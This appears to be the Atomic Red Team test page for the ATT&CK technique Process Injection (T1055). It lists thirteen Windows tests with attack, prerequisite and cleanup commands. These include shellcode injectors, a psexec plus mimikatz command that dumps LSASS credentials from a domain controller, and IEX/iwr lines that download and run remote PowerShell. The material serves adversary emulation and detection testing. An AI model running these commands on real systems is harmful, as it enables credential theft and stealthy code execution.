T1055
Process Injection
Description from ATT&CK
Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
There are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific.
More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.
Atomic Tests
Atomic Test #1 - Shellcode execution via VBA
This module injects shellcode into a newly created process and executes. By default the shellcode is created, with Metasploit, for use on x86-64 Windows 10 machines.
Note: Due to the way the VBA code handles memory/pointers/injection, a 64bit installation of Microsoft Office is required.
Supported Platforms: windows
auto_generated_guid: 1c91e740-1729-4329-b779-feba6e71d048
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
txt_path | Path to file containing VBA macro to run | path | PathToAtomicsFolder\T1055\src\x64\T1055-macrocode.txt |
Attack Commands: Run with powershell!
1
2
3
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "#{txt_path}" -officeProduct "Word" -sub "Execute"
Dependencies: Run with powershell!
Description: The 64-bit version of Microsoft Office must be installed
Check Prereq Commands:
1
2
3
4
5
6
try {
$wdApp = New-Object -COMObject "Word.Application"
$path = $wdApp.Path
Stop-Process -Name "winword"
if ($path.contains("(x86)")) { exit 1 } else { exit 0 }
} catch { exit 1 }
Get Prereq Commands:
1
Write-Host "You will need to install Microsoft Word (64-bit) manually to meet this requirement"
Description: "#{txt_path}" must exist on disk at specified location
Check Prereq Commands:
1
if (Test-Path "#{txt_path}") {exit 0} else {exit 1}
Get Prereq Commands:
1
2
New-Item -Type Directory (split-path "#{txt_path}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/src/x64/T1055-macrocode.txt" -OutFile "#{txt_path}" -UseBasicParsing
Atomic Test #2 - Remote Process Injection in LSASS via mimikatz
Use mimikatz to remotely (via psexec) dump LSASS process content for RID 500 via code injection (new thread).
Especially useful against domain controllers in Active Directory environments.
It must be executed in the context of a user who is privileged on remote
.1
machine
The effect of
is explained in <https://blog.3or.de/mimikatz-deep-dive-on-lsadumplsa-patch-and-inject.html>1
/inject
Supported Platforms: windows
auto_generated_guid: 3203ad24-168e-4bec-be36-f79b13ef8a83
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
machine | machine to target (via psexec) | string | DC1 |
mimikatz_path | Mimikatz windows executable | path | %tmp%\mimikatz\x64\mimikatz.exe |
psexec_path | Path to PsExec | string | PathToAtomicsFolder..\ExternalPayloads\PsExec.exe |
Attack Commands: Run with command_prompt!
1
"#{psexec_path}" /accepteula \\#{machine} -c #{mimikatz_path} "lsadump::lsa /inject /id:500" "exit"
Dependencies: Run with powershell!
Description: Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})
Check Prereq Commands:
1
2
$mimikatz_path = cmd /c echo #{mimikatz_path}
if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
Get Prereq Commands:
1
2
3
4
5
6
7
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing)
$releases = "https://api.github.com/repos/gentilkiwi/mimikatz/releases"
$zipUrl = (Invoke-WebRequest $releases -UseBasicParsing | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(".zip") }
$mimikatz_exe = cmd /c echo #{mimikatz_path}
$basePath = Split-Path $mimikatz_exe | Split-Path
Invoke-FetchFromZip $zipUrl "x64/mimikatz.exe" $basePath
Description: PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_path})
Check Prereq Commands:
1
if (Test-Path "#{psexec_path}") { exit 0} else { exit 1}
Get Prereq Commands:
1
2
3
4
5
6
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" -UseBasicParsing
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
New-Item -ItemType Directory (Split-Path "#{psexec_path}") -Force | Out-Null
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "#{psexec_path}" -Force
Atomic Test #3 - Section View Injection
This test creates a section object in the local process followed by a local section view. The shellcode is copied into the local section view and a remote section view is created in the target process, pointing to the local section view. A thread is then created in the target process, using the remote section view as start address.
Supported Platforms: windows
auto_generated_guid: c6952f41-6cf0-450a-b352-2ca8dae7c178
Inputs:
None
Attack Commands: Run with powershell!
1
2
$notepad = Start-Process notepad -passthru
Start-Process "$PathToAtomicsFolder\T1055\bin\x64\InjectView.exe"
Cleanup Commands:
1
Stop-Process $notepad.pid
Atomic Test #4 - Dirty Vanity process Injection
This test used the Windows undocumented remote-fork API RtlCreateProcessReflection to create a cloned process of the parent process with shellcode written in its memory. The shellcode is executed after being forked to the child process. The technique was first presented at BlackHat Europe 2022. Shellcode will open a messsage box and a notepad.
Supported Platforms: windows
auto_generated_guid: 49543237-25db-497b-90df-d0a0a6e8fe2c
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
pid | Parent process ID | string | (Start-Process calc.exe -PassThru).Id |
Attack Commands: Run with powershell!
1
Start-Process "$PathToAtomicsFolder\T1055\bin\x64\redVanity.exe" #{pid}
Cleanup Commands:
1
Get-Process -Name calc, CalculatorApp -ErrorAction SilentlyContinue | Stop-Process -Force
Atomic Test #5 - Read-Write-Execute process Injection
This test exploited the vulnerability in legitimate PE formats where sections have RWX permission and enough space for shellcode. The RWX injection avoided the use of VirtualAlloc, WriteVirtualMemory, and ProtectVirtualMemory, thus evading detection mechanisms that relied on API call sequences and heuristics. The RWX injection utilises API call sequences: LoadLibrary –> GetModuleInformation –> GetModuleHandleA –> RtlCopyMemory –> CreateThread. The injected shellcode will open a message box and a notepad. RWX Process Injection, also known as MockingJay, was introduced to the security community by SecurityJoes. More details can be found at https://www.securityjoes.com/post/process-mockingjay-echoing-rwx-in-userland-to-achieve-code-execution. The original injector and idea were developed for game cheats, as visible at https://github.com/M-r-J-o-h-n/SWH-Injector.
Supported Platforms: windows
auto_generated_guid: 0128e48e-8c1a-433a-a11a-a5387384f1e1
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
vuln_dll | vulnerable DLL | path | PathToAtomicsFolder\T1055\bin\x64\vuln_dll\msys-2.0.dll |
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
1
2
$address = (& "$PathToAtomicsFolder\T1055\bin\x64\searchVuln.exe" "$PathToAtomicsFolder\T1055\bin\x64\vuln_dll\" | Out-String | Select-String -Pattern "VirtualAddress: (\w+)").Matches.Groups[1].Value
& "PathToAtomicsFolder\T1055\bin\x64\RWXinjectionLocal.exe" "#{vuln_dll}" $address
Cleanup Commands:
1
Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force
Dependencies: Run with powershell!
Description: Utility to inject must exist on disk at specified location (#{vuln_dll})
Check Prereq Commands:
1
if (Test-Path "#{vuln_dll}") {exit 0} else {exit 1}
Get Prereq Commands:
1
2
New-Item -Type Directory (split-path "#{vuln_dll}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/bin/x64/vuln_dll/msys-2.0.dll" -OutFile "#{vuln_dll}"
Atomic Test #6 - Process Injection with Go using UuidFromStringA WinAPI
Uses WinAPI UuidFromStringA to load shellcode to a memory address then executes the shellcode using EnumSystemLocalesA. With this technique, memory is allocated on the heap and does not use commonly suspicious APIs such as VirtualAlloc, WriteProcessMemory, or CreateThread
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#uuidfromstringa)
- References:
- https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/
- https://twitter.com/CPResearch/status/1352310521752662018
- https://blog.securehat.co.uk/process-injection/shellcode-execution-via-enumsystemlocala
Supported Platforms: windows
auto_generated_guid: 2315ce15-38b6-46ac-a3eb-5e21abef2545
Inputs:
None
Attack Commands: Run with powershell!
1
$PathToAtomicsFolder\T1055\bin\x64\UuidFromStringA.exe -debug
Cleanup Commands:
1
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Atomic Test #7 - Process Injection with Go using EtwpCreateEtwThread WinAPI
Uses EtwpCreateEtwThread function from ntdll.dll to execute shellcode within the application's process. This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
Steps taken with this technique
- Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
- Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
- Change the memory page permissions to Execute/Read with VirtualProtect
- Call EtwpCreateEtwThread on shellcode address
- Call WaitForSingleObject so the program does not end before the shellcode is executed
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#EtwpCreateEtwThread)
- References:
- https://gist.github.com/TheWover/b2b2e427d3a81659942f4e8b9a978dc3
- https://www.geoffchappell.com/studies/windows/win32/ntdll/api/etw/index.htm
Supported Platforms: windows
auto_generated_guid: 7362ecef-6461-402e-8716-7410e1566400
Inputs:
None
Attack Commands: Run with powershell!
1
$PathToAtomicsFolder\T1055\bin\x64\EtwpCreateEtwThread.exe -debug
Cleanup Commands:
1
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Atomic Test #8 - Remote Process Injection with Go using RtlCreateUserThread WinAPI
Executes shellcode in a remote process.
Steps taken with this technique
- Get a handle to the target process
- Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
- Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
- Change the memory page permissions to Execute/Read with VirtualProtectEx
- Execute the entrypoint of the shellcode in the remote process with RtlCreateUserThread
- Close the handle to the remote process
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#rtlcreateuserthread)
- References:
- https://www.cobaltstrike.com/blog/cobalt-strikes-process-injection-the-details-cobalt-strike
Supported Platforms: windows
auto_generated_guid: a0c1725f-abcd-40d6-baac-020f3cf94ecd
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
spawn_process_path | Path of the binary to spawn | string | C:\Windows\System32\werfault.exe |
spawn_process_name | Name of the process spawned | string | werfault |
Attack Commands: Run with powershell!
1
2
$process = Start-Process #{spawn_process_path} -passthru
$PathToAtomicsFolder\T1055\bin\x64\RtlCreateUserThread.exe -pid $process.Id -debug
Cleanup Commands:
1
2
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Stop-Process -Name #{spawn_process_name} -ErrorAction SilentlyContinue
Atomic Test #9 - Remote Process Injection with Go using CreateRemoteThread WinAPI
Leverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellocde in a remote process.
This application leverages functions from the golang.org/x/sys/windows package, where feasible, like the windows.OpenProcess().
Steps taken with this technique
- Get a handle to the target process
- Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
- Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
- Change the memory page permissions to Execute/Read with VirtualProtectEx
- Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread
- Close the handle to the remote process
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createremotethread)
- References:
- https://www.ired.team/offensive-security/code-injection-process-injection/process-injection
Supported Platforms: windows
auto_generated_guid: 69534efc-d5f5-4550-89e6-12c6457b9edd
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
spawn_process_path | Path of the binary to spawn | string | C:\Windows\System32\werfault.exe |
spawn_process_name | Name of the process spawned | string | werfault |
Attack Commands: Run with powershell!
1
2
$process = Start-Process #{spawn_process_path} -passthru
$PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThread.exe -pid $process.Id -debug
Cleanup Commands:
1
2
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Stop-Process -Name #{spawn_process_name} -ErrorAction SilentlyContinue
Atomic Test #10 - Remote Process Injection with Go using CreateRemoteThread WinAPI (Natively)
Leverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellcode in a remote process.
This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
- Get a handle to the target process
- Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
- Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
- Change the memory page permissions to Execute/Read with VirtualProtectEx
- Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread
- Close the handle to the remote process
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createremotethreadnative)
Supported Platforms: windows
auto_generated_guid: 2a4ab5c1-97ad-4d6d-b5d3-13f3a6c94e39
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
spawn_process_path | Path of the binary to spawn | string | C:\Windows\System32\werfault.exe |
spawn_process_name | Name of the process spawned | string | werfault |
Attack Commands: Run with powershell!
1
2
$process = Start-Process #{spawn_process_path} -passthru
$PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThreadNative.exe -pid $process.Id -debug
Cleanup Commands:
1
2
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Stop-Process -Name #{spawn_process_name} -ErrorAction SilentlyContinue
Atomic Test #11 - Process Injection with Go using CreateThread WinAPI
This program executes shellcode in the current process using the following steps
- Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
- Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
- Change the memory page permissions to Execute/Read with VirtualProtect
- Call CreateThread on shellcode address
- Call WaitForSingleObject so the program does not end before the shellcode is executed
This program leverages the functions from golang.org/x/sys/windows to call Windows procedures instead of manually loading them
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createthread)
Supported Platforms: windows
auto_generated_guid: 2871ed59-3837-4a52-9107-99500ebc87cb
Inputs:
None
Attack Commands: Run with powershell!
1
$PathToAtomicsFolder\T1055\bin\x64\CreateThread.exe -debug
Cleanup Commands:
1
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Atomic Test #12 - Process Injection with Go using CreateThread WinAPI (Natively)
This program executes shellcode in the current process using the following steps
- Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
- Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
- Change the memory page permissions to Execute/Read with VirtualProtect
- Call CreateThread on shellcode address
- Call WaitForSingleObject so the program does not end before the shellcode is executed
This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.
- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createthreadnative)
Supported Platforms: windows
auto_generated_guid: 2a3c7035-d14f-467a-af94-933e49fe6786
Inputs:
None
Attack Commands: Run with powershell!
1
$PathToAtomicsFolder\T1055\bin\x64\CreateThreadNative.exe -debug
Cleanup Commands:
1
Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
Atomic Test #13 - UUID custom process Injection
The UUIDs Process Injection code was first introduced by the NCC Group. The code can be stored in UUID forms on the heap and converted back to binary via UuidFromStringA at runtime. In this new custom version of UUID injection, EnumSystemLocalesA is the only API called to execute the code. We used custom UuidToString and UuidFromString implementations to avoid using UuidFromStringA and RPCRT4.dll, thereby eliminating the static signatures. This technique also avoided the use of VirtualAlloc, WriteProcessMemory and CreateThread
The injected shellcode will open a message box and a notepad.
Reference to NCC Group: https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/ Concept from: http://ropgadget.com/posts/abusing_win_functions.html
Supported Platforms: windows
auto_generated_guid: 0128e48e-8c1a-433a-a11a-a5304734f1e1
Inputs:
Name | Description | Type | Default Value |
---|---|---|---|
exe_binary | PE binary | path | PathToAtomicsFolder\T1055\bin\x64\uuid_injection.exe |
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
1
2
3
Start-Process "#{exe_binary}"
Start-Sleep -Seconds 7
Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force
Cleanup Commands:
1
Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force
Dependencies: Run with powershell!
Description: Portable Executable to inject must exist at specified location (#{exe_binary})
Check Prereq Commands:
1
if (Test-Path "#{exe_binary}") {exit 0} else {exit 1}
Get Prereq Commands:
1
2
New-Item -Type Directory (split-path "#{exe_binary}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/bin/x64/uuid_injection.exe" -OutFile "#{exe_binary}"